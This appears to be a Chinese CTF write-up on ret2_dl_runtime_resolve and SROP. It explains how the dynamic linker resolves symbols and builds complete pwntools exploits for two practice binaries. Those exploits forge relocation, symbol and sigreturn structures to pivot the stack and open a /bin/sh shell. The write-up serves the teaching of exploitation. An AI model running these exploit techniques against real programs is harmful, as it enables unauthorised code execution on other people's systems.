ret2_dl_runtime_resolve

之前在 ret2libc 那块讲过的那个 动态链接 讲过,程序使用这个东西来进行延迟绑定的时候重定位的
如果我们可以控制相应的参数及其对应地址内容,就可以控制解析的函数了

XDCTF 2015 pwn200 源码:

  1. #include <unistd.h>
  2. #include <stdio.h>
  3. #include <string.h>
  4. void vuln()
  5. {
  6. char buf[100];
  7. setbuf(stdin, buf);
  8. read(0, buf, 256);
  9. }
  10. int main()
  11. {
  12. char buf[100] = "Welcome to XDCTF2015~!\n";
  13. setbuf(stdout, buf);
  14. write(1, buf, strlen(buf));
  15. vuln();
  16. return 0;
  17. }

编译:
gcc -o main -m32 -fno-stack-protector bof.c

利用条件

1、dl_resolve 不会检查对应的参数是否越界
2、dl_resolve 函数最后解析依赖于所给定的字符串

原理

参考:[原创]ROP高级用法之ret2_dl_runtime_resolve

1、首先使用 link_map 访问 .dynamic,分别取出 .dynstr、.dynsym、.rel.plt 的地址
2、.rel.plt + 参数 reloc_arg,求出当前函数的重定位表项 Elf32_Rel 的指针,记作 rel
3、rel 的 r_info >> 8 作为 .dynsym 的下标,求出当前函数的符号表项 Elf32_Sym 的指针,记作 sym
4、.dynstr + sym -> st_name 得出符号名字符串指针
5、在动态链接库查找这个函数地址,并且把地址赋值给 *rel -> r_offset,即 GOT 表
6、调用这个函数

调试理解

在调用函数 strlen 的这个 call 下个断点:b *0x8048588

image.png

run 的时候把程序给断下来,然后 si 跟进这个 call 来看一下

image.png

进去之后可以看到首先会去执行下面这一块

image.png
对应之前讲的,跳转到自己的 plt 表项

继续单步执行,看一下

image.png
对应之前讲的跳转到公共的 plt 表项

又一次进行了跳转

image.png
对应之前讲的跳转到 dl_runtime_resolve 函数

这个地方就是 dl_runtime_resolve 了

image.png

需要注意的是,之前跳转的时候,程序 push 了两个参数,一个是 0x10,一个是 0x804a004 里面的内容

image.png

这两个参数就是 dl_runtime_resolve 这个函数的两个参数,我们看一下,0x804a004 里面存着什么
这个地址就是 link_map 的地址

image.png

通过这个地址就可以找到 .dynamic 的地址,第三个就是 0x8049f14

image.png

再根据这一个找到 .dynstr、 .dynsym、 .rel.plt 的地址

  • .dynstr 的地址是 .dynamic + 0x44 -> 0x08048278
  • .dynsym 的地址是 .dynamic + 0x4c -> 0x080481d8
  • .rel.plt 的地址是 .dynamic + 0x84 -> 0x08048330

image.png

.rel.plt 的地址加上参数 reloc_arg,即 0x08048330 + 0x10 -> 0x8048340
找到的就是函数的重定位表项 Elf32_Rel 的指针,记作 rel

image.png

通过这个 rel 可以得到以下信息

r_offset = 0x0804a014 //指向GOT表的指针 r_info = 0x00000407

将r_info>>8,即0x00000407>>8 = 4作为.dynsym中的下标,这里的 “>>” 意思是右移

我们来到 0x080481d8(上面找到的那个 .dynsym 的地址)看一下,在标号为 4 的地方,就是函数名称的偏移:name_offset

image.png

.dynstr + name_offset 就是这个函数的符号名字符串 st_name
0x08048278 + 0x20 -> 0x8048298‬

image.png

最后在动态链接库查找这个函数的地址,并且把地址赋值给 *rel -> r_offset,即 GOT 表就可以了

整理一下:

  1. dl_runtime_resolve 需要两个参数,一个是 reloc_arg,就是函数自己的 plt 表项 push 的内容,一个是link_map,这个是公共 plt 表项 push 进栈的,通过它可以找到.dynamic的地址
  2. 而 .dynamic 可以找到 .dynstr、.dynsym、.rel.plt 的这些东西的地址
  3. .rel.plt 的地址加上 reloc_arg 可以得到函数重定位表项 Elf32_Rel 的指针,这个指针对应的里面放着 r_offset、r_info
  4. 将 r_info>>8 得到的就是 .dynsym 的下标,这个下标的内容就是 name_offset
  5. .dynstr+name_offset 得到的就是 st_name,而 st_name 存放的就是要调用函数的函数名
  6. 在动态链接库里面找这个函数的地址,赋值给 *rel->r_offset,也就是 GOT 表就完成了一次函数的动态链接

pediy思路

实际上,dl_runtime_resolve 是通过最后的 st_name 来确定执行那一个函数的,也就是说,可以通过控制这个地址的内容来执行任意函数,比如:system
而 reloc_arg 是我们可控的,我们需要把 reloc_arg 可控间接控制 st_name

我们可以在一段地址上伪造一段结构直接修改 .dynstr

计算 reloc_arg

objdump -s -j .rel.plt ./main

image.png

reloc_arg = fake_rel_plt_addr - 0x8048330

计算 r_info

n = (欲伪造的地址- .dynsym 基地址) / 0x10
r_info = n<<8

image.png

还需要过#define ELF32_R_TYPE(val) ((val) & 0xff)宏定义,ELF32_R_TYPE(r_info)=7,因此
r_info = r_info + 0x7

计算name_offset

image.png

st_name = fake_dynstr_addr - 0x804821c

EXP

  1. from pwn import *
  2. context.log_level = 'debug'
  3. context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
  4. name = './main'
  5. p = process(name)
  6. elf= ELF(name)
  7. rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr #0x8048330
  8. dynsym_addr = elf.get_section_by_name('.dynsym').header.sh_addr #0x80481d8
  9. dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr #0x8048278
  10. resolve_plt = 0x08048380
  11. leave_ret_addr = 0x8048458
  12. start = 0x804aa00
  13. fake_rel_plt_addr = start
  14. fake_dynsym_addr = fake_rel_plt_addr + 0x8
  15. fake_dynstr_addr = fake_dynsym_addr + 0x10
  16. bin_sh_addr = fake_dynstr_addr + 0x7
  17. #n就是reloc_arg
  18. n = fake_rel_plt_addr - rel_plt_addr
  19. r_info = (((fake_dynsym_addr - dynsym_addr)/0x10) << 8) + 0x7
  20. str_offset = fake_dynstr_addr - dynstr_addr
  21. fake_rel_plt = p32(elf.got['read']) + p32(r_info)
  22. fake_dynsym = p32(str_offset) + p32(0) + p32(0) + p32(0x12000000)
  23. fake_dynstr = "system\x00/bin/sh\x00\x00"
  24. pay1 = 'a'*108 + p32(start - 20) + p32(elf.plt['read']) + p32(leave_ret_addr) + p32(0) + p32(start - 20) + p32(0x100)
  25. p.recvuntil('Welcome to XDCTF2015~!\n')
  26. p.sendline(pay1)
  27. pay2 = p32(0x0) + p32(resolve_plt) + p32(n) + 'aaaa' + p32(bin_sh_addr) + fake_rel_plt + fake_dynsym + fake_dynstr
  28. p.sendline(pay2)
  29. success(".rel_plt: " + hex(rel_plt_addr))
  30. success(".dynsym: " + hex(dynsym_addr))
  31. success(".dynstr: " + hex(dynstr_addr))
  32. success("fake_rel_plt_addr: " + hex(fake_rel_plt_addr))
  33. success("fake_dynsym_addr: " + hex(fake_dynsym_addr))
  34. success("fake_dynstr_addr: " + hex(fake_dynstr_addr))
  35. success("n: " + hex(n))
  36. success("r_info: " + hex(r_info))
  37. success("offset: " + hex(str_offset))
  38. success("system_addr: " + hex(fake_dynstr_addr))
  39. success("bss_addr: " + hex(elf.bss()))
  40. p.interactive()

wiki思路

首先正常的获取占空间的大小:

image.png

1
介绍一种栈迁移的方法,把栈迁移到 bss 段来控制执行 write 函数,主要分两步:
1、栈迁移到 bss 段
2、控制 write 函数输出相应的字符串

栈迁移的基本思路是用leave;ret;
leave 相当于:
mov esp,ebp
pop ebp
ret 相当于:
pop eip

使用 pwntools 的 ROP 模块

  1. from pwn import *
  2. elf = ELF('main')
  3. p = process('./main')
  4. rop = ROP('./main')#首先创建一个ROP对象
  5. offset = 112
  6. bss_addr = elf.bss()
  7. p.recvuntil('Welcome to XDCTF2015~!\n')
  8. ## stack pivoting to bss segment
  9. ## new stack size is 0x800
  10. stack_size = 0x800
  11. base_stage = bss_addr + stack_size
  12. ### padding
  13. rop.raw('a' * offset)#在ROP链中填充offseta
  14. ### read 100 byte to base_stage
  15. rop.read(0, base_stage, 100)#简易的调用read函数,相当于rop.call('read',[0,base_stage,100])
  16. ### stack pivoting, set esp = base_stage
  17. rop.migrate(base_stage)
  18. #rop.migrate(base_stage)会将程序流程又转到base_stage
  19. p.sendline(rop.chain())
  20. ## write cmd="/bin/sh"
  21. rop = ROP('./main')
  22. sh = "/bin/sh"
  23. rop.write(1, base_stage + 80, len(sh))
  24. rop.raw('a' * (80 - len(rop.chain())))
  25. rop.raw(sh)
  26. rop.raw('a' * (100 - len(rop.chain())))
  27. p.sendline(rop.chain())
  28. p.interactive()

2
接下来,用 dlresolve 的知识来调用 write 函数,利用 plt[0] 的相关指令,即公共 plt 表项 push linkmap 以及跳转到 dl_resolve 函数中解析的指令。此外,我们还得单独提供一个 write 重定位项在 plt 表中的偏移
即 write@plt push的那个参数

  1. from pwn import *
  2. elf = ELF('main')
  3. r = process('./main')
  4. rop = ROP('./main')
  5. offset = 112
  6. bss_addr = elf.bss()
  7. r.recvuntil('Welcome to XDCTF2015~!\n')
  8. ## stack pivoting to bss segment
  9. ## new stack size is 0x800
  10. stack_size = 0x800
  11. base_stage = bss_addr + stack_size
  12. ### padding
  13. rop.raw('a' * offset)
  14. ### read 100 byte to base_stage
  15. rop.read(0, base_stage, 100)
  16. ### stack pivoting, set esp = base_stage
  17. rop.migrate(base_stage)
  18. r.sendline(rop.chain())
  19. ## write cmd="/bin/sh"
  20. rop = ROP('./main')
  21. sh = "/bin/sh"
  22. ############## step 2 #################
  23. plt0 = elf.get_section_by_name('.plt').header.sh_addr#会把找到的plt[0]的地址十进制形式给plt0
  24. write_index = (elf.plt['write'] - plt0) / 16 - 1
  25. write_index *= 8#得到push的那一个write@plt的0x20也就是32
  26. rop.raw(plt0)#common@plt的地址,会去执行那个common@plt的指令,先push一个
  27. rop.raw(write_index)#write@plt
  28. ## fake ret addr of write
  29. rop.raw('bbbb')
  30. rop.raw(1)
  31. rop.raw(base_stage + 80)
  32. rop.raw(len(sh))
  33. rop.raw('a' * (80 - len(rop.chain())))
  34. rop.raw(sh)
  35. rop.raw('a' * (100 - len(rop.chain())))
  36. r.sendline(rop.chain())
  37. r.interactive()

对于通过 read 写入的那一串,首先会返回到 plt0 去执行公共 plt 表项的指令,此时因为我们没有执行之前的,所以把之前就应该 push 的那个 write_index,也就是 0x20 通过 raw() 写在栈里面

image.png
拿上面原理的例子,如果是 write 的话,黄框圈出来的应该是 0x20

3
同样控制 dl_resolve 函数中的 reloc_index 参数,不过这次控制其指向我们伪造的 write 重定位项

readelf -r main

image.png

可以看出 write 的重定表项的 r_offset=0x0804a01c,r_info=0x00000607

  1. from pwn import *
  2. elf = ELF('main')
  3. r = process('./main')
  4. rop = ROP('./main')
  5. offset = 112
  6. bss_addr = elf.bss()
  7. r.recvuntil('Welcome to XDCTF2015~!\n')
  8. ## stack pivoting to bss segment
  9. ## new stack size is 0x800
  10. stack_size = 0x800
  11. base_stage = bss_addr + stack_size
  12. ### padding
  13. rop.raw('a' * offset)
  14. ### read 100 byte to base_stage
  15. rop.read(0, base_stage, 100)
  16. ### stack pivoting, set esp = base_stage
  17. rop.migrate(base_stage)
  18. r.sendline(rop.chain())
  19. ## write sh="/bin/sh"
  20. rop = ROP('./main')
  21. sh = "/bin/sh"
  22. plt0 = elf.get_section_by_name('.plt').header.sh_addr
  23. rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
  24. ## making base_stage+24 --> fake reloc
  25. index_offset = base_stage + 24 - rel_plt
  26. #本来应该是0x20的,因为我们想要找的rel指针实际上是在 rel.plt+reloc_arg
  27. #当rel.plt+index_offset的时候得到的就是base_stage
  28. write_got = elf.got['write'] # Elf32_rel -> r_offset
  29. r_info = 0x607 # write: Elf32_Rel -> r_info
  30. fake_reloc = p32(write_got) + p32(r_info)
  31. rop.raw(plt0)
  32. rop.raw(index_offset)#会从跳转到我们的 Fake_reloc
  33. ## fake ret addr of write
  34. rop.raw('bbbb')
  35. rop.raw(1)
  36. rop.raw(base_stage + 80)
  37. rop.raw(len(sh))
  38. rop.raw(fake_reloc) #Fake_reloc
  39. rop.raw('a' * (80 - len(rop.chain())))
  40. rop.raw(sh)
  41. rop.raw('a' * (100 - len(rop.chain())))
  42. r.sendline(rop.chain())
  43. r.interactive()

4
3 中,我们控制了重定位表项,但是重定位表项的内容与 write 原来的重定位表项一致,这次,我们将构造属于我们自己的重定位表项,并且伪造该表项对应的符号。

首先,我们根据 write 的重定位表项的 r_info=0x607 可以知道,write 对应的符号在符号表的下标为 0x607>>8=0x6。因此,我们知道 write 对应的符号地址为 0x8048238

image.png

  1. from pwn import *
  2. elf = ELF('main')
  3. r = process('./main')
  4. rop = ROP('./main')
  5. offset = 112
  6. bss_addr = elf.bss()
  7. r.recvuntil('Welcome to XDCTF2015~!\n')
  8. ## stack pivoting to bss segment
  9. ## new stack size is 0x800
  10. stack_size = 0x800
  11. base_stage = bss_addr + stack_size
  12. ### padding
  13. rop.raw('a' * offset)
  14. ### read 100 byte to base_stage
  15. rop.read(0, base_stage, 100)
  16. ### stack pivoting, set esp = base_stage
  17. rop.migrate(base_stage)
  18. r.sendline(rop.chain())
  19. ## write sh="/bin/sh"
  20. rop = ROP('./main')
  21. sh = "/bin/sh"
  22. plt0 = elf.get_section_by_name('.plt').header.sh_addr
  23. rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
  24. dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
  25. dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
  26. ### making fake write symbol
  27. fake_dynsym_addr = base_stage + 32
  28. align = 0x10 - ((fake_dynsym_addr - dynsym) & 0xf)
  29. fake_dynsym_addr = fake_dynsym_addr + align # 用来对齐的
  30. index_dynsym = (fake_dynsym_addr - dynsym) / 0x10 # 得到write的dynsym索引号
  31. fake_dynsym = flat([0x4c, 0, 0, 0x12]) # 这就是fake_dynsym,0x4c就是那个name_offset
  32. ### making fake write relocation
  33. ## making base_stage+24 ---> fake reloc
  34. index_offset = base_stage + 24 - rel_plt
  35. write_got = elf.got['write']
  36. r_info = (index_dynsym << 8) | 0x7 #计算 r_info,|7相当于加7,后面添加上07标识,表示这个是导入函数
  37. fake_reloc = flat([write_got, r_info])
  38. rop.raw(plt0)
  39. rop.raw(index_offset)
  40. ## fake ret addr of write
  41. rop.raw('bbbb')
  42. rop.raw(1)
  43. rop.raw(base_stage + 80)
  44. rop.raw(len(sh))
  45. rop.raw(fake_reloc) # fake reloc
  46. rop.raw('a' * align) # padding
  47. rop.raw(fake_dynsym) # fake dynsym
  48. rop.raw('a' * (80 - len(rop.chain())))
  49. rop.raw(sh)
  50. rop.raw('a' * (100 - len(rop.chain())))
  51. r.sendline(rop.chain())
  52. r.interactive()

image.png
https://xz.aliyun.com/t/5122

5
我们进一步使得 write 符号的 name_offset 指向我们自己构造的字符串

  1. from pwn import *
  2. elf = ELF('main')
  3. r = process('./main')
  4. rop = ROP('./main')
  5. offset = 112
  6. bss_addr = elf.bss()
  7. r.recvuntil('Welcome to XDCTF2015~!\n')
  8. ## stack pivoting to bss segment
  9. ## new stack size is 0x800
  10. stack_size = 0x800
  11. base_stage = bss_addr + stack_size
  12. ### padding
  13. rop.raw('a' * offset)
  14. ### read 100 byte to base_stage
  15. rop.read(0, base_stage, 100)
  16. ### stack pivoting, set esp = base_stage
  17. rop.migrate(base_stage)
  18. r.sendline(rop.chain())
  19. ## write sh="/bin/sh"
  20. rop = ROP('./main')
  21. sh = "/bin/sh"
  22. plt0 = elf.get_section_by_name('.plt').header.sh_addr
  23. rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
  24. dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
  25. dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
  26. ### making fake write symbol
  27. fake_dynsym_addr = base_stage + 32
  28. align = 0x10 - ((fake_dynsym_addr - dynsym) & 0xf) # since the size of item(Elf32_Symbol) of dynsym is 0x10
  29. fake_dynsym_addr = fake_dynsym_addr + align
  30. index_dynsym = (fake_dynsym_addr - dynsym) / 0x10 # calculate the dynsym index of write
  31. ## plus 10 since the size of Elf32_Sym is 16.
  32. name_offset = fake_dynsym_addr + 0x10 - dynstr
  33. fake_dynsym = flat([name_offset, 0, 0, 0x12])
  34. ### making fake write relocation
  35. ## making base_stage+24 ---> fake reloc
  36. index_offset = base_stage + 24 - rel_plt
  37. write_got = elf.got['write']
  38. r_info = (index_dynsym << 8) | 0x7
  39. fake_write_reloc = flat([write_got, r_info])
  40. rop.raw(plt0)
  41. rop.raw(index_offset)
  42. ## fake ret addr of write
  43. rop.raw('bbbb')
  44. rop.raw(1)
  45. rop.raw(base_stage + 80)
  46. rop.raw(len(sh))
  47. rop.raw(fake_write_reloc) # fake write reloc
  48. rop.raw('a' * align) # padding
  49. rop.raw(fake_dynsym) # fake write symbol
  50. rop.raw('write\x00') # there must be a \x00 to mark the end of string
  51. rop.raw('a' * (80 - len(rop.chain())))
  52. rop.raw(sh)
  53. rop.raw('a' * (100 - len(rop.chain())))
  54. r.sendline(rop.chain())
  55. r.interactive()

6
我们只需要将原先的 write 字符串修改为 system 字符串,同时修改 write 的参数为 system 的参数即可获取 shell。这是因为,dl_resolve 最终依赖的是我们所给定的字符串,即使我们给了一个假的字符串它仍然会去解析并执行

  1. from pwn import *
  2. elf = ELF('main')
  3. r = process('./main')
  4. rop = ROP('./main')
  5. offset = 112
  6. bss_addr = elf.bss()
  7. r.recvuntil('Welcome to XDCTF2015~!\n')
  8. ## stack pivoting to bss segment
  9. ## new stack size is 0x800
  10. stack_size = 0x800
  11. base_stage = bss_addr + stack_size
  12. ### padding
  13. rop.raw('a' * offset)
  14. ### read 100 byte to base_stage
  15. rop.read(0, base_stage, 100)
  16. ### stack pivoting, set esp = base_stage
  17. rop.migrate(base_stage)
  18. r.sendline(rop.chain())
  19. ## write sh="/bin/sh"
  20. rop = ROP('./main')
  21. sh = "/bin/sh"
  22. plt0 = elf.get_section_by_name('.plt').header.sh_addr
  23. rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
  24. dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
  25. dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
  26. ### making fake write symbol
  27. fake_dynsym_addr = base_stage + 32
  28. align = 0x10 - ((fake_dynsym_addr - dynsym) & 0xf) # since the size of item(Elf32_Symbol) of dynsym is 0x10
  29. fake_dynsym_addr = fake_dynsym_addr + align
  30. index_dynsym = (fake_dynsym_addr - dynsym) / 0x10 # calculate the dynsym index of write
  31. ## plus 10 since the size of Elf32_Sym is 16.
  32. name_offset = fake_dynsym_addr + 0x10 - dynstr
  33. fake_dynsym = flat([name_offset, 0, 0, 0x12])
  34. ### making fake write relocation
  35. ## making base_stage+24 ---> fake reloc
  36. index_offset = base_stage + 24 - rel_plt
  37. write_got = elf.got['write']
  38. r_info = (index_dynsym << 8) | 0x7
  39. fake_write_reloc = flat([write_got, r_info])
  40. rop.raw(plt0)
  41. rop.raw(index_offset)
  42. ## fake ret addr of write
  43. rop.raw('bbbb')
  44. rop.raw(base_stage + 82)
  45. rop.raw('bbbb')
  46. rop.raw('bbbb')
  47. rop.raw(fake_write_reloc) # fake write reloc
  48. rop.raw('a' * align) # padding
  49. rop.raw(fake_dynsym) # fake write symbol
  50. rop.raw('system\x00') # there must be a \x00 to mark the end of string
  51. rop.raw('a' * (80 - len(rop.chain())))
  52. print rop.dump()
  53. print len(rop.chain())
  54. rop.raw(sh + '\x00')
  55. rop.raw('a' * (100 - len(rop.chain())))
  56. r.sendline(rop.chain())
  57. r.interactive()

roputil工具


直接使用 roputil 来进行攻击

  1. from roputils import *
  2. from pwn import process
  3. from pwn import gdb
  4. from pwn import context
  5. r = process('./main')
  6. context.log_level = 'debug'
  7. r.recv()
  8. rop = ROP('./main')
  9. offset = 112
  10. bss_base = rop.section('.bss')
  11. buf = rop.fill(offset)
  12. buf += rop.call('read', 0, bss_base, 100)
  13. ## used to call dl_Resolve()
  14. buf += rop.dl_resolve_call(bss_base + 20, bss_base)
  15. r.send(buf)
  16. buf = rop.string('/bin/sh')
  17. buf += rop.fill(20, buf)
  18. ## used to make faking data, such relocation, Symbol, Str
  19. buf += rop.dl_resolve_data(bss_base + 20, 'system')
  20. buf += rop.fill(100, buf)
  21. r.send(buf)
  22. r.interactive()

补:栈迁移原理

主要用的就是这个 leave;ret; 这样的gadgets

image.png

假设,我们有一个程序,存在栈溢出漏洞,我们把内容覆盖成了下面这样子,当然此时 bss 段或者 data 段还没有内容,待会会通过 read 函数输入:

image.png

而实际上在程序调用完成 call 返回的时候,就会有这样的 mov esp,ebp pop ebp ret 指令

image.png

所以我们挨个去执行的时候会出现这样的情况

首先是 mov esp,ebp 执行完以后变成了这个样子:

image.png

然后 pop ebp 执行完后就是
别忘了,pop 指令是把栈顶的值弹到 指定的寄存器,也就是说 esp 会自动的减一个单位

image.png

这时候就到 ret 了,我们可以通过 read 函数来把内容输入到 fake ebp1 的地址处
构造的内容主要是把fake ebp1 处写成 fake ebp2 的地址

image.png

read 函数执行完成以后程序返回到了 leave_ret,这样就会在执行一遍上面说的那样
首先是 mov esp,ebp 执行完成后效果如下:

image.png

然后是 pop ebp 执行完成后:

image.png

此时在执行 ret 命令,他就会执行我们构造在 bss 段后者 data 段的那个函数

image.png

SROP

SROP(Sigreturn Oriented Programming),sigreturn是一个系统调用,在 unix 系统发生 signal 的时候会被间接调用

当系统进程发起(deliver)一个 signal 的时候,该进程会被短暂的挂起(suspend),进入内核①,然后内核对该进程保留相应的上下文,跳转到之前注册好的 signal handler 中处理 signal②,当 signal 返回后③,内核为进程恢复之前保留的上下文,恢复进程的执行④

Advanced ROP - 图31

内核为进程保留相应的上下文的方法主要是:将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址,此时栈的情况是这样的:

Advanced ROP - 图32

我们称 ucontext 以及 siginfo 这一段为 signal frame,需要注意的是这一部分是在用户进程的地址空间,之后会跳转到注册过 signal handler 中处理相应的 signal,因此,当 signal handler 执行完成后就会执行 sigreturn 系统调用来恢复上下文,主要是将之前压入的寄存器的内容给还原回对应的寄存器,然后恢复进程的执行

32 位的 sigreturn 的系统调用号为 77,64 位的系统调用号为 15

例题

360 春秋杯中的 smallest

image.png

可以看到在 IDA 里面打开,只有这么几行

image.png

syscall 调用的是 rax 的 0(xor rax,rax 的结果)
所以这里就是 syscall(0,0,$rsp,0x400) 所以程序实际执行的是 read(0,$rsp,0x400),也就是往栈顶写 0x400 字节的内容

系统调用 调用号 函数原型
read 0 read(int fd, void *buf, size_t count)
write 1 write(int fd, const void *buf, size_t count)
sigreturn 15 int sigreturn(…)
execve 59 execve(const char filename, char const argv[],char *const envp[])


SROP 主要是利用了第 15 号,sigreturn 从栈上读取数据,赋值到寄存器中,可以用来构造 syscall(59,”/bin/sh”,0,0)

exp

  1. #coding=utf8
  2. from pwn import *
  3. sh = process('./smallest')
  4. small = ELF('./smallest')
  5. context.arch = 'amd64'
  6. syscall_ret = 0x00000000004000BE
  7. start_addr = 0x00000000004000B0
  8. payload = p64(start_addr) * 3
  9. sh.send(payload)#首先,发送start_addr的地址,因为是写在栈顶的,所以就是read的返回地址
  10. #会返回到start_addr
  11. sh.send('\xb3')#返回后再次调用read函数的时候输入一个字节,read函数会把读入的字节数放到rax
  12. #这样就达到了rax置为1的目的,同时会把rsp的后一位写为\xB3,这样返回地址就不是start_addr了
  13. #而是4000B3,这就避免了rax被xor置零
  14. stack_addr = u64(sh.recv()[8:16])
  15. #此时,这样我们就回去syscall调用write函数里,输出的就是栈上的0x400长度的内容
  16. #别忘了当是输入的是3个start_addr,所以前八个字节是start_addr,后面的才是我们要用的
  17. log.success('leak stack addr :' + hex(stack_addr))
  18. #现在我们拿到栈的地址,同时,因为当时是写了三个start_addr,现在又回到了start_addr
  19. #开始构造!我们要想要syscall调用sigreturn需要把rax设置为15,通过read实现
  20. read = SigreturnFrame()
  21. read.rax = constants.SYS_read
  22. read.rdi = 0
  23. read.rsi = stack_addr
  24. read.rdx = 0x400
  25. read.rsp = stack_addr
  26. read.rip = syscall_ret
  27. #相当于read(0,stack_addr,0x400),同时返回地址是start_addr
  28. read_frame_payload = p64(start_addr) + p64(syscall_ret) + str(read)
  29. sh.send(read_frame_payload)#调用read函数,等待接收
  30. sh.send(read_frame_payload[8:8+15])#总共是15
  31. #这样通过read返回的字节使得rax为15,这样的话就会去恢复构造的read那一段内容,来接受我们的输入
  32. execve = SigreturnFrame()
  33. execve.rax=constants.SYS_execve
  34. execve.rdi=stack_addr + 0x120
  35. execve.rsi=0x0
  36. execve.rdx=0x0
  37. execve.rsp=stack_addr
  38. execve.rip=syscall_ret
  39. execv_frame_payload=p64(start_addr)+p64(syscall_ret)+str(execve)#返回start_addr等待输入
  40. print len(execv_frame_payload)
  41. execv_frame_payload_all=execv_frame_payload+(0x120-len(execv_frame_payload ))*'\x00'+'/bin/sh\x00'
  42. #先计算一下长度,让前面的添上几个'\x00'之后正好是120,然后再填上'/bin/sh'
  43. sh.send(execv_frame_payload_all)
  44. sh.send(execv_frame_payload_all[8:8+15])
  45. sh.interactive()

Advanced ROP - 图35

Advanced ROP - 图36